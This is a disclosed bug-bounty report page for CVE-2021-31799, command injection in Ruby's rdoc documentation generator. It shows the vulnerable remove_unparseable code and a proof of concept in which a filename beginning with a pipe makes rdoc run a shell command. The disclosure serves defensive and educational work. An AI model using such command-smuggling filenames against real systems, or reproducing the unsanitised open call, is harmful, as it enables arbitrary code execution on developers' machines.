Skip to content
RCE Disclosed report Intermediate CVE-2021-31799

OS Command Injection in 'rdoc' documentation generator

The rdoc documentation generator passed filenames to Ruby's open call without sanitising them, so a filename beginning with a pipe character was treated as a shell command. An attacker who could place a crafted file in a project could run arbitrary commands when rdoc processed the sources.

sighook Follow

Originally disclosed on HackerOne

Medium 6.4 View original
  • Triaged in 14 hours
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 3 months

Details: If the remove_unparseable function receives a list of files with a command in the name of one of them, it will be executed. Just enough the name to match the pattern. The problem code:

Ruby
  def remove_unparseable files
    files.reject do |file, *|
      file =~ /\.(?:class|eps|erb|scpt\.txt|svg|ttf|yml)$/i or
        (file =~ /tags$/i and
         open(file, 'rb') { |io|
           io.read(100) =~ /\A(\f\n[^,]+,\d+$|!_TAG_)/
         })
    end
  end

PoC

Bash
$ touch '| touch evil.txt && echo tags'
$ ls
'| touch evil.txt && echo tags'
$ rdoc --all
Parsing sources...
100% [ 1/ 1]  | touch evil.txt && echo tags

Generating Darkfish format into /home/tmp/doc...

  Files:      1

  Classes:    0 (0 undocumented)
  Modules:    0 (0 undocumented)
  Constants:  0 (0 undocumented)
  Attributes: 0 (0 undocumented)
  Methods:    0 (0 undocumented)

  Total:      0 (0 undocumented)
    0.00% documented

  Elapsed: 0.1s

$ ls
doc   evil.txt  '| touch evil.txt && echo tags'

I set to the vulnerability the same severity as in https://hackerone.com/reports/651518, since rdoc is widely used on dev/production systems and, therefore, the attack also has a wide range of applications. An attacker can hide a bad-named-file deep in the project structure to be stealthy some time.

Impact

An attacker can leverage this weakness to execute arbitrary commands, disclose sensitive information and cause denial of service.

The original report as published on HackerOne, by sighook. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the code passed an attacker-influenced filename directly to Ruby's open, which interprets names starting with a pipe as a shell command instead of a file path.

Impact

An attacker could execute arbitrary commands, disclose sensitive information and cause denial of service, and could hide the malicious file deep in the project structure to stay stealthy.

What the attacker needed

Attacker can add a file to the project; rdoc runs over the project sources

How it was found

  1. Create a file whose name contains a shell command and matches the pattern the tool looks for.
  2. Run rdoc over the project so it parses the sources.
  3. Observe that the command in the filename was executed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A documentation tool called rdoc reads the names of files in a project. In Ruby, a filename that starts with a pipe symbol is not opened as a file but run as a command on the computer. Because the tool did not check the name first, a file with a tricky name could make the tool run whatever command the attacker chose.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by sighook

View all

10 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.